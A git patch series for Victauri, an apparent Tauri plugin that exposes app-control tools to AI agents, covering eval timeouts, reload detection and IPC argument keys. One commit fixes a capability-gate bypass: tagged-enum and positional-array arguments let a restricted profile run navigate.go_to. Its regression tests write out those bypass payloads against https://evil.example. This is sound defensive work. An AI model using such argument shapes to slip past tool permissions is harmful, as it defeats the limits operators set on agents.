list_window_labels(&self) -> Vec { + vec!["main".to_string()] + } + fn get_native_handle(&self, label: Option<&str>) -> Result { + self.0.get_native_handle(label) + } + fn manage_window(&self, label: Option<&str>, action: &str) -> Result { + self.0.manage_window(label, action) + } + fn resize_window(&self, label: Option<&str>, w: u32, h: u32) -> Result<(), String> { + self.0.resize_window(label, w, h) + } + fn move_window(&self, label: Option<&str>, x: i32, y: i32) -> Result<(), String> { + self.0.move_window(label, x, y) + } + fn set_window_title(&self, label: Option<&str>, title: &str) -> Result<(), String> { + self.0.set_window_title(label, title) + } + } + + fn eval_state_with_timeout(ms: u64) -> Arc { + let Ok(mut s) = Arc::try_unwrap(state_with(PrivacyConfig::default())) else { + unreachable!("fresh Arc has one owner") + }; + s.eval_timeout = std::time::Duration::from_millis(ms); + Arc::new(s) + } + + #[tokio::test] + async fn eval_fails_fast_when_its_page_reloads() { + let state = eval_state_with_timeout(20_000); + let bridge = MainWindowBridge(RecordingBridge::answering(state.pending_evals.clone())); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(bridge)); + let reloader = state.clone(); + tokio::spawn(async move { + tokio::time::sleep(std::time::Duration::from_millis(600)).await; + reloader.page_loads.record_load("main"); // the page reloaded + }); + let started = std::time::Instant::now(); + let r = call( + &h, + "eval_js", + json!({"code": "await new Promise(() => {})", "webview_label": "main"}), + ) + .await; + let text = result_text(&r); + assert!(text.contains("loaded a new page"), "{text}"); + assert!( + started.elapsed() < std::time::Duration::from_secs(3), + "must not wait out the 20s timeout (took {:?})", + started.elapsed() + ); + assert!( + state.pending_evals.lock().await.is_empty(), + "pending entry removed" + ); + } + + #[tokio::test] + async fn a_late_ready_signal_from_the_same_page_is_not_a_reload() { + // The bridge's ready signal is fire-and-forget at init and can land just after our + // probe; it belongs to the page the eval runs in and must not be read as a reload. + let state = eval_state_with_timeout(1_500); + let bridge = MainWindowBridge(RecordingBridge::answering(state.pending_evals.clone())); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(bridge)); + let late = state.clone(); + tokio::spawn(async move { + tokio::time::sleep(std::time::Duration::from_millis(20)).await; + late.page_loads.record_load("main"); + }); + let r = call( + &h, + "eval_js", + json!({"code": "await new Promise(() => {})", "webview_label": "main"}), + ) + .await; + let text = result_text(&r); + assert!(!text.contains("loaded a new page"), "false reload: {text}"); + assert!(text.contains("timed out"), "{text}"); + } + #[tokio::test] async fn eval_reports_app_shutdown_instead_of_timing_out() { let state = slow_eval_state(); @@ -7308,6 +7430,7 @@ mod screenshot_visibility_tests { screencast: Arc::new(crate::screencast::Screencast::default()), probes: crate::introspection::AppStateProbes::default(), drain_watermarks: crate::introspection::DrainWatermarks::default(), + page_loads: crate::introspection::PageLoads::default(), }); VictauriMcpHandler::new(state, bridge) } diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index 181e64e5..34d195bb 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -94,7 +94,8 @@ pub async fn victauri_eval_js( } #[tauri::command] -pub async fn victauri_eval_callback( +pub async fn victauri_eval_callback( + webview: tauri::Webview, state: State<'_, Arc>, id: String, result: String, @@ -104,6 +105,10 @@ pub async fn victauri_eval_callback( .bridge_ready .store(true, std::sync::atomic::Ordering::Release); state.bridge_notify.notify_waiters(); + // A (re)initialized bridge means this window loaded a new page: any eval still pending + // in its previous page can never answer. The label comes from Tauri (the calling + // webview), so page script cannot touch another window's generation. + state.page_loads.record_load(webview.label()); return Ok(()); } if let Some(tx) = state.pending_evals.lock().await.remove(&id) { From e837e86cbaed6893cc4a835249d01ce919ff6a88 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 18:04:18 +1000 Subject: [PATCH 015/167] feat(invoke_command): per-call timeout_ms; aborted calls are not timings Found by the live-4DA dogfood run: 4DA's get_blind_spots takes up to 57s cold, so with the fixed 30s eval timeout an agent could not call it at all. invoke_command now accepts timeout_ms (max 300000), a timeout error points at it, and timeouts/app-exit/closed-window/reload outcomes are no longer recorded as command durations (they skewed p95). Timeout messages show ms under 1s. Changelog/migration updated with the live-test findings. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- CHANGELOG.md | 14 ++++ MIGRATION.md | 5 +- crates/victauri-cli/src/tools_fallback.json | 2 +- .../victauri-plugin/src/mcp/backend_params.rs | 4 ++ crates/victauri-plugin/src/mcp/mod.rs | 72 +++++++++++++++++-- 5 files changed, 89 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 33fb3f5c..3fb0e5fe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -76,6 +76,20 @@ future additions will always have defaults. mutate the page), and several descriptions were corrected. The CLI's baked fallback tool list is regenerated and pinned to the live tools by a test. +### Found by the live 4DA verification (Victauri 0.9.0 inside the real app) + +- **An eval in flight when its page reloads now fails fast** ("window 'main' loaded a new page + while the call was in flight … check the app's state before re-running it") instead of waiting + out the 30s timeout. Every bridge (re)init records a per-window page load (label supplied by + Tauri, not the page); a 250ms grace keeps the page's own late ready signal from counting. + Live: the in-flight eval returned 50ms after the reload. +- **`invoke_command` takes an optional `timeout_ms`** (max 300000) for legitimately slow commands + (4DA's `get_blind_spots` takes up to 57s cold); a timeout error now says so. Aborted calls + (timeout, app exit, closed window, reload) are no longer recorded as command durations. +- **`find_elements` no longer reports a valid selector as "invalid"** while the page is + reloading (it validated against `document.body`, which is null mid-reload); it now says + "page not ready". + ### CI / release / docs - VS Code release: the build job holds no secrets and runs `npm ci --ignore-scripts`; publish diff --git a/MIGRATION.md b/MIGRATION.md index 402dd736..c05e2f3f 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -35,8 +35,9 @@ tests, not covered by semver). - `victauri bridge` does not replay a `tools/call` whose connection dropped after it was sent; it returns an error saying the call most likely ran (e.g. a command that quit the app). -- `eval_js` / `invoke_command` report a closed target window or a shutting-down app promptly - instead of timing out. +- `eval_js` / `invoke_command` report a closed target window, a shutting-down app, or a page + reload under the call promptly instead of timing out. `invoke_command` accepts an optional + `timeout_ms` (max 300000) for slow commands. - `recording replay` skips calls that had arguments, failed, or never completed (arguments are not recorded); `recording import` is refused while a recording is in progress; `trace stop` only stops the recording its own `with_events` started. diff --git a/crates/victauri-cli/src/tools_fallback.json b/crates/victauri-cli/src/tools_fallback.json index be58bb4e..ac5cd412 100644 --- a/crates/victauri-cli/src/tools_fallback.json +++ b/crates/victauri-cli/src/tools_fallback.json @@ -80,7 +80,7 @@ "name": "introspect" }, { - "description": "Invoke a registered Tauri command via IPC, just like the frontend would. Goes through the real IPC pipeline so calls are logged and verifiable. Returns the command's result. Subject to privacy command filtering.", + "description": "Invoke a registered Tauri command via IPC, just like the frontend would. Goes through the real IPC pipeline so calls are logged and verifiable. Returns the command's result. Waits up to the eval timeout (30s) — pass `timeout_ms` (max 300000) for a legitimately slow command. Subject to privacy command filtering.", "name": "invoke_command" }, { diff --git a/crates/victauri-plugin/src/mcp/backend_params.rs b/crates/victauri-plugin/src/mcp/backend_params.rs index 498dbc85..1ce1b5bb 100644 --- a/crates/victauri-plugin/src/mcp/backend_params.rs +++ b/crates/victauri-plugin/src/mcp/backend_params.rs @@ -56,6 +56,10 @@ pub struct InvokeCommandParams { /// Target webview label. #[serde(alias = "window", alias = "window_label")] pub webview_label: Option, + /// How long to wait for the command's result, in ms (default: the plugin's eval timeout, + /// 30s; max 300000). Raise it for commands that are legitimately slow. + #[serde(default)] + pub timeout_ms: Option, } /// Which app directory to target. diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 46933cae..112f253b 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -111,6 +111,28 @@ const DB_HEALTH_CHECK_BUDGET: std::time::Duration = std::time::Duration::from_se /// A page load within this long of an eval's injection is attributed to the page the eval is /// running in (a late ready signal), not to a reload that killed it. const PAGE_RELOAD_GRACE: std::time::Duration = std::time::Duration::from_millis(250); +/// A timeout for an error message: whole seconds, or milliseconds when under a second (so a +/// short per-call timeout never reads as "timed out after 0s"). +fn format_timeout(timeout: std::time::Duration) -> String { + if timeout < std::time::Duration::from_secs(1) { + format!("{}ms", timeout.as_millis()) + } else { + format!("{}s", timeout.as_secs()) + } +} + +/// Upper bound for `invoke_command`'s per-call `timeout_ms` (matches the eval-timeout ceiling). +const MAX_INVOKE_TIMEOUT_MS: u64 = 300_000; + +/// Whether an eval error means the call was cut off (timeout, app exit, closed window, page +/// reload) rather than the command completing with an error. +fn is_aborted_call(error: &str) -> bool { + error.starts_with("eval timed out") + || error.starts_with("the app began shutting down") + || (error.starts_with("window '") + && (error.contains("was closed while") || error.contains("loaded a new page"))) +} + /// Upper bound for an injected `fault` delay (matches the `wait_for` ceiling). const MAX_FAULT_DELAY_MS: u64 = 120_000; /// How often a slow eval re-checks that its target window still exists (first check after @@ -344,7 +366,7 @@ impl VictauriMcpHandler { } #[tool( - description = "Invoke a registered Tauri command via IPC, just like the frontend would. Goes through the real IPC pipeline so calls are logged and verifiable. Returns the command's result. Subject to privacy command filtering.", + description = "Invoke a registered Tauri command via IPC, just like the frontend would. Goes through the real IPC pipeline so calls are logged and verifiable. Returns the command's result. Waits up to the eval timeout (30s) — pass `timeout_ms` (max 300000) for a legitimately slow command. Subject to privacy command filtering.", annotations( read_only_hint = false, destructive_hint = true, @@ -433,11 +455,19 @@ impl VictauriMcpHandler { "return window.__TAURI_INTERNALS__.invoke({}, {args_str})", js_string(¶ms.command) ); + let timeout = params.timeout_ms.map_or(self.state.eval_timeout, |ms| { + std::time::Duration::from_millis(ms.clamp(1, MAX_INVOKE_TIMEOUT_MS)) + }); let result = self - .eval_with_return(&code, params.webview_label.as_deref()) + .eval_with_return_timeout(&code, params.webview_label.as_deref(), timeout) .await; let elapsed = start.elapsed(); - self.state.command_timings.record(¶ms.command, elapsed); + // Only real outcomes are timings: a timeout, an app exit, a closed window or a reload + // measures how long we waited, not how long the command took (it skewed p95). + let aborted = result.as_ref().err().is_some_and(|e| is_aborted_call(e)); + if !aborted { + self.state.command_timings.record(¶ms.command, elapsed); + } match result { Ok(result) => { @@ -451,6 +481,10 @@ impl VictauriMcpHandler { } CallToolResult::success(vec![ContentBlock::text(result)]) } + Err(e) if e.starts_with("eval timed out") => tool_error(format!( + "invoke_command failed: {e} If the command is legitimately slow, pass \ + `timeout_ms` (up to {MAX_INVOKE_TIMEOUT_MS})." + )), Err(e) => tool_error(format!("invoke_command failed: {e}")), } } @@ -4732,14 +4766,14 @@ impl VictauriMcpHandler { // ~2s instead of blocking the full timeout again. self.timed_out_labels.lock().await.insert(label_key.clone()); Err(format!( - "eval timed out after {}s — the code began executing but never resolved. \ + "eval timed out after {} — the code began executing but never resolved. \ (A syntax/parse error would have failed fast via the parse watchdog, so \ this is NOT a parse error.) Common causes: an unresolved promise, an \ infinite loop, an `await` on something that never settles, or the webview \ reloaded / the app stopped responding mid-eval. If the app may have \ navigated or crashed, retry (the next call fails fast if the bridge is \ gone).", - timeout.as_secs() + format_timeout(timeout) )) } } @@ -6995,6 +7029,34 @@ mod command_policy_dispatch_tests { assert!(text.contains("timed out"), "{text}"); } + #[tokio::test] + async fn invoke_command_honors_timeout_ms_and_skips_aborted_timings() { + let state = eval_state_with_timeout(20_000); + let bridge = MainWindowBridge(RecordingBridge::answering(state.pending_evals.clone())); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(bridge)); + let started = std::time::Instant::now(); + let r = call( + &h, + "invoke_command", + json!({"command": "slow_thing", "webview_label": "main", "timeout_ms": 400}), + ) + .await; + let text = result_text(&r); + assert!( + started.elapsed() < std::time::Duration::from_secs(3), + "timeout_ms ignored" + ); + assert!(text.contains("timed out after 400ms"), "{text}"); + assert!( + text.contains("timeout_ms"), + "the error must point at timeout_ms: {text}" + ); + assert!( + state.command_timings.stats_for("slow_thing").is_none(), + "a timed-out call is not a command duration" + ); + } + #[tokio::test] async fn eval_reports_app_shutdown_instead_of_timing_out() { let state = slow_eval_state(); From 88b33398451c4612260e77b4c68dec3f46ed7860 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 18:37:47 +1000 Subject: [PATCH 016/167] test(victauri-test): hold the "closed" port bound so CI cannot reuse it CI (windows-latest) failed connection_refused_on_discovered_client_rediscovers_ same_app_only: closed_port() bound then released a port, another process on the runner took it and answered with non-HTTP bytes (hyper Parse(Version)) instead of refusing. The helper now keeps the socket bound but not listening for the test's lifetime, which refuses connections deterministically on Windows and Linux. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- crates/victauri-test/src/client.rs | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/crates/victauri-test/src/client.rs b/crates/victauri-test/src/client.rs index 5fc313d2..d09e4af0 100644 --- a/crates/victauri-test/src/client.rs +++ b/crates/victauri-test/src/client.rs @@ -2502,10 +2502,14 @@ mod transport_tests { assert!(find_sse_response(body, 99).is_none()); } - /// A port with nothing listening (bound, then released). - fn closed_port() -> u16 { - let listener = std::net::TcpListener::bind("127.0.0.1:0").unwrap(); - listener.local_addr().unwrap().port() + /// A port that refuses connections for as long as the returned socket lives: BOUND but + /// never listening. (Binding then releasing — the old approach — let another process on a + /// busy CI runner grab the port, turning "connection refused" into a non-HTTP reply.) + fn closed_port() -> (u16, tokio::net::TcpSocket) { + let socket = tokio::net::TcpSocket::new_v4().unwrap(); + socket.bind("127.0.0.1:0".parse().unwrap()).unwrap(); + let port = socket.local_addr().unwrap().port(); + (port, socket) } fn client_at(port: u16, discovered: bool, app_identifier: Option<&str>) -> VictauriClient { @@ -2532,7 +2536,7 @@ mod transport_tests { if explicit_discovery_env() { return; // explicit endpoint config bypasses discovery by design } - let port = closed_port(); + let (port, _held) = closed_port(); // An identity no live app can have: rediscovery must find nothing and say so, // instead of binding to whatever app holds the default port. let id = format!("com.victauri.test.absent-{}", std::process::id()); @@ -2557,7 +2561,7 @@ mod transport_tests { #[tokio::test] async fn connection_refused_on_explicit_client_is_not_rediscovered() { - let port = closed_port(); + let (port, _held) = closed_port(); let mut client = client_at(port, false, None); let err = client .call_tool("get_plugin_info", json!({})) @@ -2575,7 +2579,7 @@ mod transport_tests { if explicit_discovery_env() { return; } - let port = closed_port(); + let (port, _held) = closed_port(); let id = format!("com.victauri.test.absent2-{}", std::process::id()); let mut client = client_at(port, true, Some(&id)); client.auth_token = Some("keep".to_string()); From 5c8e4f3a8eae9e9e99a59ee04313fb2831afe347 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 19:30:33 +1000 Subject: [PATCH 017/167] fix(authz): refuse non-string actions and non-object args before the capability gate serde accepts an externally-tagged enum ({"action":{"go_to":null}}) and, on REST, a positional array body. Both used to resolve to the bare tool name at the gate -- which the Test profile allows for navigate -- while the handler still parsed and ran go_to; with FullControl they bypassed per-action disabled_tools. The gate now refuses any call it cannot map to exactly one known action. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-plugin/src/mcp/authz.rs | 92 +++++++++++++++++++------ crates/victauri-plugin/src/mcp/mod.rs | 33 ++++++++- 2 files changed, 101 insertions(+), 24 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/authz.rs b/crates/victauri-plugin/src/mcp/authz.rs index ea7919bd..a2551dba 100644 --- a/crates/victauri-plugin/src/mcp/authz.rs +++ b/crates/victauri-plugin/src/mcp/authz.rs @@ -51,22 +51,36 @@ pub fn is_compound_tool(tool: &str) -> bool { COMPOUND_TOOLS.contains(&tool) } -/// Resolve the canonical privacy-matrix capability identity for a tool call. +/// Resolve the canonical privacy-matrix capability identity for a tool call, or +/// refuse the call as malformed. /// /// For standalone tools this is the bare tool name. For compound tools it is the -/// dot-qualified `tool.action` identity that the privacy matrix is keyed on. When -/// a compound tool is called without a recognizable `action`, the bare tool name -/// is returned (the per-tool arg parse will then reject the malformed call, and -/// in restricted profiles the bare name is itself not allowed — fail closed). -#[must_use] -pub fn canonical_capability(tool: &str, args: &Value) -> String { +/// dot-qualified `tool.action` identity that the privacy matrix is keyed on. +/// +/// The gate and the handler must agree on WHICH action runs, so anything the gate +/// cannot map to exactly one action is refused rather than gated on the bare tool +/// name: serde also accepts an enum written as `{"go_to": null}` (externally-tagged +/// unit variant) and a REST body written as a positional array, and both used to +/// resolve to the bare name here — which the Test profile allows for `navigate` — +/// while the handler still parsed and ran `go_to` (audit N1). +/// +/// # Errors +/// +/// Returns a human-readable message when the arguments are not a JSON object, or +/// when a compound tool's `action` is missing, not a string, or not a known action. +pub fn resolve_capability(tool: &str, args: &Value) -> Result { + if !args.is_object() { + return Err(format!("arguments for '{tool}' must be a JSON object")); + } if !is_compound_tool(tool) { - return tool.to_string(); + return Ok(tool.to_string()); + } + match args.get("action") { + Some(Value::String(action)) => action_capability(tool, action) + .ok_or_else(|| format!("unknown action '{action}' for tool '{tool}'")), + Some(_) => Err(format!("`action` for tool '{tool}' must be a string")), + None => Err(format!("tool '{tool}' requires a string `action`")), } - let Some(action) = args.get("action").and_then(Value::as_str) else { - return tool.to_string(); - }; - action_capability(tool, action).unwrap_or_else(|| tool.to_string()) } /// Map a `(compound tool, action)` pair to its canonical matrix identity. @@ -181,6 +195,11 @@ mod tests { use super::*; use serde_json::json; + /// Test shim: the resolved capability, panicking on a refused call. + fn canonical_capability(tool: &str, args: &Value) -> String { + resolve_capability(tool, args).unwrap_or_else(|e| panic!("{tool}: refused: {e}")) + } + #[test] fn standalone_tools_use_bare_name() { assert_eq!(canonical_capability("eval_js", &json!({})), "eval_js"); @@ -241,16 +260,45 @@ mod tests { } #[test] - fn missing_or_unknown_action_fails_closed_to_bare_name() { - assert_eq!(canonical_capability("route", &json!({})), "route"); - assert_eq!( - canonical_capability("route", &json!({"action": "nonsense"})), - "route" - ); - assert_eq!( - canonical_capability("introspect", &json!({"action": "nonsense"})), - "introspect" - ); + fn missing_or_unknown_action_is_refused() { + assert!(resolve_capability("route", &json!({})).is_err()); + assert!(resolve_capability("route", &json!({"action": "nonsense"})).is_err()); + assert!(resolve_capability("introspect", &json!({"action": "nonsense"})).is_err()); + } + + /// Audit N1: serde parses `{"go_to": null}` into `NavigateAction::GoTo`, and a + /// REST array body positionally into the params struct. Neither may slip past + /// the gate as the bare tool name. + #[test] + fn non_string_action_and_non_object_args_are_refused() { + for (tool, action, ..) in AUTHZ_SPEC { + let tagged = json!({ "action": { *action: null } }); + assert!( + resolve_capability(tool, &tagged).is_err(), + "{tool}: tagged-enum action {tagged} must be refused" + ); + for bad in [ + json!({"action": 1}), + json!({"action": [action]}), + json!({"action": null}), + ] { + assert!( + resolve_capability(tool, &bad).is_err(), + "{tool}: {bad} must be refused" + ); + } + let positional = json!([action, "https://evil.example", null, null, null, null]); + assert!( + resolve_capability(tool, &positional).is_err(), + "{tool}: positional array body must be refused" + ); + } + for body in [json!([]), json!(null), json!("eval"), json!(1)] { + assert!( + resolve_capability("eval_js", &body).is_err(), + "{body} must be refused" + ); + } } #[test] diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 112f253b..a4c49f97 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -3928,7 +3928,8 @@ impl VictauriMcpHandler { // Centralized authorization: resolve the canonical `tool.action` capability // and gate on it BEFORE dispatch, so every compound action is checked // uniformly (not just the ones whose handler remembers to). See `authz`. - let capability = authz::canonical_capability(name, &args); + let capability = + authz::resolve_capability(name, &args).map_err(rest::ToolCallError::InvalidParams)?; if !self.state.privacy.is_call_allowed(name, &capability) { return Ok(tool_disabled(&capability)); } @@ -4933,7 +4934,8 @@ impl ServerHandler for VictauriMcpHandler { // Centralized authorization: gate on the canonical `tool.action` capability // resolved from the call arguments, matching the REST path in `execute_tool`. let args_value = serde_json::Value::Object(request.arguments.clone().unwrap_or_default()); - let capability = authz::canonical_capability(&tool_name, &args_value); + let capability = authz::resolve_capability(&tool_name, &args_value) + .map_err(|msg| ErrorData::invalid_params(msg, None))?; if !self.state.privacy.is_call_allowed(&tool_name, &capability) { tracing::debug!(tool = %tool_name, capability = %capability, "tool call blocked by privacy config"); return Ok(tool_disabled(&capability).into()); @@ -6242,6 +6244,33 @@ mod authz_dispatch_tests { } } + /// Audit N1: `{"action": {"go_to": null}}` (a tag-shaped enum serde accepts) and a + /// positional array body used to be gated as the bare tool name, which the Test + /// profile allows for `navigate` — the handler then parsed and ran `go_to`. Both + /// shapes must now be refused as invalid params before any handler runs, in every + /// profile (FullControl with the action disabled is the other half of the bypass). + #[tokio::test] + async fn non_string_action_cannot_slip_past_the_gate() { + let mut full_minus_go_to = PrivacyConfig::default(); + full_minus_go_to + .disabled_tools + .insert("navigate.go_to".to_string()); + for privacy in [crate::privacy::test_privacy_config(), full_minus_go_to] { + let h = handler(privacy); + for args in [ + serde_json::json!({"action": {"go_to": null}, "url": "https://evil.example"}), + serde_json::json!(["go_to", "https://evil.example", null, null, null, null]), + serde_json::json!({"action": 0, "url": "https://evil.example"}), + ] { + match h.execute_tool("navigate", args.clone()).await { + Err(rest::ToolCallError::InvalidParams(_)) => {} + Ok(r) => panic!("{args} reached dispatch: {:?}", r.content), + Err(rest::ToolCallError::UnknownTool(t)) => panic!("{args}: unknown tool {t}"), + } + } + } + } + // ── Observe profile: every mutation/eval/compound-action must be blocked ── #[tokio::test] From 09971ce29ab8807735af915bf3a7bd1664fb5568 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 20:23:28 +1000 Subject: [PATCH 018/167] fix(inspectable): record the IPC key Tauri invokes each argument by Tauri camelCases command arguments by default (size_kb -> sizeKb), so an agent passing the registry's Rust names got "missing required key" -- including on the gauntlet app's own large_payload. CommandArg gains an optional `key` (+ with_key / invoke_key); the macro derives it with heck exactly as tauri-macros does, honours rename_all / rename (as #[inspectable] options, or read from a #[tauri::command(...)] it can see), unraws r#idents, and detects injected framework args by the type path's last segment (State<'_, a::B> was reported as a user argument; Request/CommandScope/GlobalScope were missing). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- Cargo.lock | 1 + Cargo.toml | 1 + crates/victauri-core/src/registry.rs | 30 +++ crates/victauri-macros/Cargo.toml | 1 + crates/victauri-macros/src/lib.rs | 186 ++++++++++++++++-- crates/victauri-macros/tests/macro_tests.rs | 65 ++++++ .../victauri-plugin/src/mcp/backend_params.rs | 6 +- 7 files changed, 270 insertions(+), 20 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 1d0f95ea..4b263603 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -5318,6 +5318,7 @@ dependencies = [ name = "victauri-macros" version = "0.9.0" dependencies = [ + "heck 0.5.0", "proc-macro2", "quote", "syn 2.0.117", diff --git a/Cargo.toml b/Cargo.toml index ec97058a..ede77870 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -67,6 +67,7 @@ serde_json = "1" syn = { version = "2", features = ["full", "extra-traits"] } quote = "1" proc-macro2 = "1" +heck = "0.5" # Utilities schemars = { version = "1", features = ["chrono04"] } diff --git a/crates/victauri-core/src/registry.rs b/crates/victauri-core/src/registry.rs index 798b0993..59ddd8b7 100644 --- a/crates/victauri-core/src/registry.rs +++ b/crates/victauri-core/src/registry.rs @@ -37,6 +37,12 @@ pub struct CommandInfo { pub struct CommandArg { /// Argument name as declared in the Rust function signature. pub name: String, + /// The key the frontend must use for this argument in `invoke(cmd, { key })`, + /// when it differs from [`name`](Self::name). Tauri renames arguments to + /// camelCase by default (`size_kb` → `sizeKb`), so passing `name` would fail + /// with "missing required key". `None` means the key equals `name`. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub key: Option, /// Rust type name (e.g. "String", "`Option`"). pub type_name: String, /// Whether the argument must be provided (not `Option`). @@ -170,12 +176,36 @@ impl CommandArg { pub fn new(name: impl Into, type_name: impl Into, required: bool) -> Self { Self { name: name.into(), + key: None, type_name: type_name.into(), required, schema: None, } } + /// Sets the IPC key the frontend passes this argument under, when it differs + /// from the Rust name (see [`key`](Self::key)). + /// + /// ``` + /// use victauri_core::CommandArg; + /// + /// let arg = CommandArg::new("size_kb", "usize", true).with_key("sizeKb"); + /// assert_eq!(arg.invoke_key(), "sizeKb"); + /// assert_eq!(CommandArg::new("name", "String", true).invoke_key(), "name"); + /// ``` + #[must_use] + pub fn with_key(mut self, key: impl Into) -> Self { + let key = key.into(); + self.key = (key != self.name).then_some(key); + self + } + + /// The key to pass this argument under in an IPC call. + #[must_use] + pub fn invoke_key(&self) -> &str { + self.key.as_deref().unwrap_or(&self.name) + } + /// Attaches a JSON Schema describing the argument's expected shape. #[must_use] pub fn with_schema(mut self, schema: serde_json::Value) -> Self { diff --git a/crates/victauri-macros/Cargo.toml b/crates/victauri-macros/Cargo.toml index 4d85719f..b5b22206 100644 --- a/crates/victauri-macros/Cargo.toml +++ b/crates/victauri-macros/Cargo.toml @@ -24,6 +24,7 @@ proc-macro = true syn = { workspace = true } quote = { workspace = true } proc-macro2 = { workspace = true } +heck = { workspace = true } [dev-dependencies] victauri-core = { workspace = true } diff --git a/crates/victauri-macros/src/lib.rs b/crates/victauri-macros/src/lib.rs index 62a5d14c..7f80063e 100644 --- a/crates/victauri-macros/src/lib.rs +++ b/crates/victauri-macros/src/lib.rs @@ -2,8 +2,10 @@ //! Procedural macros for Victauri — currently provides the `#[inspectable]` attribute //! for auto-registering Tauri commands with the MCP introspection layer. +use heck::{ToLowerCamelCase, ToSnakeCase}; use proc_macro::TokenStream; use quote::quote; +use syn::ext::IdentExt; use syn::{ItemFn, parse_macro_input}; /// Marks a `#[tauri::command]` as inspectable by Victauri. @@ -23,6 +25,17 @@ use syn::{ItemFn, parse_macro_input}; /// `E0433: failed to resolve: use of undeclared crate victauri_core`. /// `victauri init` adds the dependency automatically. /// +/// # Argument keys +/// +/// Tauri renames command arguments to camelCase by default: a `size_kb` argument is +/// invoked as `invoke("cmd", { sizeKb })`. Each registered argument records that IPC +/// key (`CommandArg::key`), so an agent reading the registry passes the key the +/// command actually accepts. `#[tauri::command]` consumes its own attribute before +/// this macro runs, so when the command uses `rename_all = "snake_case"` or +/// `rename = "..."`, repeat it here — `#[inspectable(rename_all = "snake_case")]`, +/// `#[inspectable(rename = "...")]`. (Written *above* `#[tauri::command(...)]`, +/// `#[inspectable]` reads those options itself.) +/// /// # Example /// /// ```rust,ignore @@ -42,22 +55,35 @@ pub fn inspectable(attr: TokenStream, item: TokenStream) -> TokenStream { Ok(a) => a, Err(e) => return e.to_compile_error().into(), }; + let command_options = tauri_command_options(&input.attrs); let fn_name = &input.sig.ident; - let fn_name_str = fn_name.to_string(); - let schema_fn_name = syn::Ident::new(&format!("{fn_name_str}__schema"), fn_name.span()); + let schema_fn_name = syn::Ident::new(&format!("{fn_name}__schema"), fn_name.span()); + // The name the frontend invokes: Tauri's `rename`, else the bare identifier + // (`r#type` is invoked as `type`). + let command_name = attrs + .rename + .clone() + .or(command_options.rename) + .unwrap_or_else(|| fn_name.unraw().to_string()); let is_async = input.sig.asyncness.is_some(); let description = attrs .description - .unwrap_or_else(|| fn_name_str.replace('_', " ")); + .unwrap_or_else(|| command_name.replace('_', " ")); + let snake_case = attrs + .snake_case + .or(command_options.snake_case) + .unwrap_or(false); let args_info = extract_args(&input.sig); let arg_tokens: Vec<_> = args_info .iter() .map(|(name, type_str, required)| { + let key = invoke_key(name, snake_case); quote! { victauri_core::registry::CommandArg::new(#name, #type_str, #required) + .with_key(#key) } }) .collect(); @@ -85,7 +111,7 @@ pub fn inspectable(attr: TokenStream, item: TokenStream) -> TokenStream { // Built via constructors, not a struct literal: `CommandInfo` and // `CommandArg` are `#[non_exhaustive]`, and this code expands in the // user's crate. - victauri_core::registry::CommandInfo::new(#fn_name_str) + victauri_core::registry::CommandInfo::new(#command_name) .with_description(#description) .with_args(vec![#(#arg_tokens),*]) .with_return_type(#return_type) @@ -108,6 +134,64 @@ struct InspectableAttrs { intent: Option, category: Option, examples: Vec, + /// `rename = "..."`: the name the command is invoked by. + rename: Option, + /// `rename_all = "snake_case" | "camelCase"`: the argument key case. + snake_case: Option, +} + +/// The options of a `#[tauri::command(...)]` still present on the function, which +/// happens only when `#[inspectable]` is written above it. +#[derive(Default)] +struct CommandOptions { + rename: Option, + snake_case: Option, +} + +fn parse_rename_all(lit: &syn::LitStr) -> syn::Result { + match lit.value().as_str() { + "snake_case" => Ok(true), + "camelCase" => Ok(false), + _ => Err(syn::Error::new( + lit.span(), + "expected \"camelCase\" or \"snake_case\"", + )), + } +} + +fn tauri_command_options(fn_attrs: &[syn::Attribute]) -> CommandOptions { + let mut out = CommandOptions::default(); + for attr in fn_attrs { + let path = attr.path(); + let is_command = path.segments.last().is_some_and(|s| s.ident == "command") + && (path.segments.len() == 1 || path.segments[0].ident == "tauri"); + if !is_command || !matches!(attr.meta, syn::Meta::List(_)) { + continue; + } + // Best effort: Tauri validates its own attribute (and `async` is a keyword + // `parse_nested_meta` refuses), so a parse failure here is never an error. + let _ = attr.parse_nested_meta(|meta| { + if meta.path.is_ident("rename_all") { + out.snake_case = Some(parse_rename_all(&meta.value()?.parse()?)?); + } else if meta.path.is_ident("rename") { + out.rename = Some(meta.value()?.parse::()?.value()); + } else if meta.input.peek(syn::Token![=]) { + // Other options (`root = "..."`) are Tauri's 